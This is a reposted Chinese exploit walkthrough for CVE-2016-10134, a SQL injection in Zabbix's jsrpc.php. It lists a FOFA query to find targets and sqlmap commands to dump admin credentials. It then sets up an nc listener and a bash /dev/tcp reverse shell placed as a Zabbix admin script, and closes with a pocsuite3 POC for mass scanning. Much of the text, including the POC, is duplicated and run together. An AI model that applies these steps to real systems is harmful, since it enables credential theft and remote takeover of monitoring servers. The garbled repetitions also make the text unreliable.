本文转载于公众号:融云攻防实验室,原文地址:
漏洞复现-CVE-2016-10134 zabbix sql注入
0x01 阅读须知
资源来源于网络,安全小天地只是再次进行分享,使用请遵循本站的免责申明
0x02 漏洞描述
zabbix是一个基于WEB界面的提供分布式系统监视以及网络监视功能的企业级的开源解决方案。zabbix能监视各种网络参数,保证服务器系统的安全运营;并提供灵活的通知机制以让系统管理员快速定位/解决存在的各种问题。Zabbix的latest.php中的toggle_ids[]或jsrpc.php中的profieldx2参数存在sql注入,攻击者可通过sql注入获取管理员账户密码,进入后台,进行getshell操作。
![图片[1]--CVE-2016-10134 zabbix sql注入-安全小天地](https://img.godyu.com/2023/12/20231226124854646.png?imageView2/0/format/webp/q/75)
0x03 漏洞复现
漏洞影响:zabbix 2.0.x| 2.2.x| 2.4.x| 3.0.0-3.0.3
FOFA:app=”ZABBIX-监控系统”
1.输入payload爆出数据库用户名
http://x.x.x.x:8080/jsrpc.php?type=0&mode=1&method=screen.get&profileIdx=web.item.graphhttp://x.x.x.x:8080/jsrpc.php?type=0&mode=1&method=screen.get&profileIdx=web.item.graphhttp://x.x.x.x:8080/jsrpc.php?type=0&mode=1&method=screen.get&profileIdx=web.item.graph
![图片[2]--CVE-2016-10134 zabbix sql注入-安全小天地](https://img.godyu.com/2023/12/20231226204856707.png?imageView2/0/format/webp/q/75)
2.使用sqlmap查库、查表、查列、查数据
查所有库:python3 sqlmap.py -u \"http://x.x.x.x:8080/jsrpc.php?type=0&mode=1&method=screen.get&profileIdx=web.item.graph&resourcetype=17&profileIdx2=*\" --dbs查zabbix表:python3 sqlmap.py -u \"http://x.x.x.x:8080/jsrpc.php?type=0&mode=1&method=screen.get&profileIdx=web.item.graph&resourcetype=17&profileIdx2=*\" -D zabbix --tables查users列:python3 sqlmap.py -u \"http://x.x.x.x:8080/jsrpc.php?type=0&mode=1&method=screen.get&profileIdx=web.item.graph&resourcetype=17&profileIdx2=*\" -D zabbix -T users --columns查userid,name,passwd数据:python3 sqlmap.py -u \"http://x.x.x.x:8080/jsrpc.php?type=0&mode=1&method=screen.get&profileIdx=web.item.graph&resourcetype=17&profileIdx2=*\" -D zabbix -T users -C userid,name,passwd --dump查所有库: python3 sqlmap.py -u \"http://x.x.x.x:8080/jsrpc.php?type=0&mode=1&method=screen.get&profileIdx=web.item.graph&resourcetype=17&profileIdx2=*\" --dbs 查zabbix表: python3 sqlmap.py -u \"http://x.x.x.x:8080/jsrpc.php?type=0&mode=1&method=screen.get&profileIdx=web.item.graph&resourcetype=17&profileIdx2=*\" -D zabbix --tables 查users列: python3 sqlmap.py -u \"http://x.x.x.x:8080/jsrpc.php?type=0&mode=1&method=screen.get&profileIdx=web.item.graph&resourcetype=17&profileIdx2=*\" -D zabbix -T users --columns 查userid,name,passwd数据: python3 sqlmap.py -u \"http://x.x.x.x:8080/jsrpc.php?type=0&mode=1&method=screen.get&profileIdx=web.item.graph&resourcetype=17&profileIdx2=*\" -D zabbix -T users -C userid,name,passwd --dump查所有库: python3 sqlmap.py -u \"http://x.x.x.x:8080/jsrpc.php?type=0&mode=1&method=screen.get&profileIdx=web.item.graph&resourcetype=17&profileIdx2=*\" --dbs 查zabbix表: python3 sqlmap.py -u \"http://x.x.x.x:8080/jsrpc.php?type=0&mode=1&method=screen.get&profileIdx=web.item.graph&resourcetype=17&profileIdx2=*\" -D zabbix --tables 查users列: python3 sqlmap.py -u \"http://x.x.x.x:8080/jsrpc.php?type=0&mode=1&method=screen.get&profileIdx=web.item.graph&resourcetype=17&profileIdx2=*\" -D zabbix -T users --columns 查userid,name,passwd数据: python3 sqlmap.py -u \"http://x.x.x.x:8080/jsrpc.php?type=0&mode=1&method=screen.get&profileIdx=web.item.graph&resourcetype=17&profileIdx2=*\" -D zabbix -T users -C userid,name,passwd --dump
![图片[3]--CVE-2016-10134 zabbix sql注入-安全小天地](https://img.godyu.com/2023/12/20231226204857718.png?imageView2/0/format/webp/q/75)
3.使用账户名密码登录admin:zabbix
http://x.x.x.x:8080/jsrpc.php?type=0&mode=1&method=screen.get&profileIdx=web.item.graph&rehttp://x.x.x.x:8080/jsrpc.php?type=0&mode=1&method=screen.get&profileIdx=web.item.graph&rehttp://x.x.x.x:8080/jsrpc.php?type=0&mode=1&method=screen.get&profileIdx=web.item.graph&re
![图片[2]--CVE-2016-10134 zabbix sql注入-安全小天地](https://img.godyu.com/2023/12/20231226204856707.png?imageView2/0/format/webp/q/75)
4. nc监听7778端口
nc -lnvp 7778nc -lnvp 7778nc -lnvp 7778
5.Administration→Scripts→Create Script写一个反弹shell的脚本
bash -i >& /dev/tcp/IP/PORT 0>&1bash -i >& /dev/tcp/IP/PORT 0>&1bash -i >& /dev/tcp/IP/PORT 0>&1
6.Monitoring→Latest data→点击Zabbix server运行脚本,得到一个shell(注:需要在筛选栏host groups选择Zabbix servers才能看到1脚本)
![图片[5]--CVE-2016-10134 zabbix sql注入-安全小天地](https://img.godyu.com/2023/12/20231226204858629.png?imageView2/0/format/webp/q/75)
7.使用pocsuite3批量验证1.txt文件中的url是否存在该漏洞,显示一个成功一个失败。
pocsuite3下载地址:https://github.com/knownsec/pocsuite3
批量验证命令:python3 cli.py -r pocs/ZABBIX-CVE-2016-10134.py -f 1.txtPOC:# -*- coding:utf-8 -*-from collections import OrderedDictfrom urllib.parse import urljoinimport refrom pocsuite3.api import POCBase, Output, register_poc, logger, requests, OptDict, VUL_TYPEfrom pocsuite3.api import REVERSE_PAYLOAD, POC_CATEGORYclass DemoPOC(POCBase):#漏洞信息vulID = \'CVE-2016-10134\'version = \'zabbix 2.0.x| 2.2.x| 2.4.x| 3.0.0-3.0.3\'author = [\'ry\']vulDate = \'2022-05-06\'createDate = \'2022-05-06\'updateDate = \'2022-05-06\'references = [\'https://www.cnblogs.com/cute-puli/p/15659959.html\']name = \'zabbix SQL\'appPowerLink = \'CVE-2016-10134\'appName = \'zabbix SQL\'appVersion = \'2.X,3.X\'vulType = \'sql\'desc = \'\'\'zabbix sql注入\'\'\'samples = []install_requires = [\'\']def _verify(self):result = {}path = \"/jsrpc.php\"url = self.url + path#print(url)payload = \"?type=0&mode=1&method=screen.get&profileIdx=web.item.graph&resourcetype=17&profileIdx2=updatexml(0,concat(0,md5(\'wwwq\')),0)\"#print(payload)try:resq = requests.get(url + payload)if resq and resq.status_code == 200 and \"afece6b64dc8eff8b9bd078a5f\" in resq.text:result[\'VerifyInfo\'] = {}result[\'VerifyInfo\'][\'URL\'] = urlresult[\'VerifyInfo\'][\'Name\'] = payloadexcept Exception as e:returnreturn self.parse_output(result)def _attack(self):return self._verify()def parse_output(self, result):output = Output(self)if result:output.success(result)else:output.fail(\'target is not vulnerable\')return outputregister_poc(DemoPOC)批量验证命令: python3 cli.py -r pocs/ZABBIX-CVE-2016-10134.py -f 1.txt POC: # -*- coding:utf-8 -*- from collections import OrderedDict from urllib.parse import urljoin import re from pocsuite3.api import POCBase, Output, register_poc, logger, requests, OptDict, VUL_TYPE from pocsuite3.api import REVERSE_PAYLOAD, POC_CATEGORY class DemoPOC(POCBase):#漏洞信息 vulID = \'CVE-2016-10134\' version = \'zabbix 2.0.x| 2.2.x| 2.4.x| 3.0.0-3.0.3\' author = [\'ry\'] vulDate = \'2022-05-06\' createDate = \'2022-05-06\' updateDate = \'2022-05-06\' references = [\'https://www.cnblogs.com/cute-puli/p/15659959.html\'] name = \'zabbix SQL\' appPowerLink = \'CVE-2016-10134\' appName = \'zabbix SQL\' appVersion = \'2.X,3.X\' vulType = \'sql\' desc = \'\'\' zabbix sql注入 \'\'\' samples = [] install_requires = [\'\'] def _verify(self): result = {} path = \"/jsrpc.php\" url = self.url + path #print(url) payload = \"?type=0&mode=1&method=screen.get&profileIdx=web.item.graph&resourcetype=17&profileIdx2=updatexml(0,concat(0,md5(\'wwwq\')),0)\" #print(payload) try: resq = requests.get(url + payload) if resq and resq.status_code == 200 and \"afece6b64dc8eff8b9bd078a5f\" in resq.text: result[\'VerifyInfo\'] = {} result[\'VerifyInfo\'][\'URL\'] = url result[\'VerifyInfo\'][\'Name\'] = payload except Exception as e: return return self.parse_output(result) def _attack(self): return self._verify() def parse_output(self, result): output = Output(self) if result: output.success(result) else: output.fail(\'target is not vulnerable\') return output register_poc(DemoPOC)批量验证命令: python3 cli.py -r pocs/ZABBIX-CVE-2016-10134.py -f 1.txt POC: # -*- coding:utf-8 -*- from collections import OrderedDict from urllib.parse import urljoin import re from pocsuite3.api import POCBase, Output, register_poc, logger, requests, OptDict, VUL_TYPE from pocsuite3.api import REVERSE_PAYLOAD, POC_CATEGORY class DemoPOC(POCBase):#漏洞信息 vulID = \'CVE-2016-10134\' version = \'zabbix 2.0.x| 2.2.x| 2.4.x| 3.0.0-3.0.3\' author = [\'ry\'] vulDate = \'2022-05-06\' createDate = \'2022-05-06\' updateDate = \'2022-05-06\' references = [\'https://www.cnblogs.com/cute-puli/p/15659959.html\'] name = \'zabbix SQL\' appPowerLink = \'CVE-2016-10134\' appName = \'zabbix SQL\' appVersion = \'2.X,3.X\' vulType = \'sql\' desc = \'\'\' zabbix sql注入 \'\'\' samples = [] install_requires = [\'\'] def _verify(self): result = {} path = \"/jsrpc.php\" url = self.url + path #print(url) payload = \"?type=0&mode=1&method=screen.get&profileIdx=web.item.graph&resourcetype=17&profileIdx2=updatexml(0,concat(0,md5(\'wwwq\')),0)\" #print(payload) try: resq = requests.get(url + payload) if resq and resq.status_code == 200 and \"afece6b64dc8eff8b9bd078a5f\" in resq.text: result[\'VerifyInfo\'] = {} result[\'VerifyInfo\'][\'URL\'] = url result[\'VerifyInfo\'][\'Name\'] = payload except Exception as e: return return self.parse_output(result) def _attack(self): return self._verify() def parse_output(self, result): output = Output(self) if result: output.success(result) else: output.fail(\'target is not vulnerable\') return output register_poc(DemoPOC)
THE END
暂无评论内容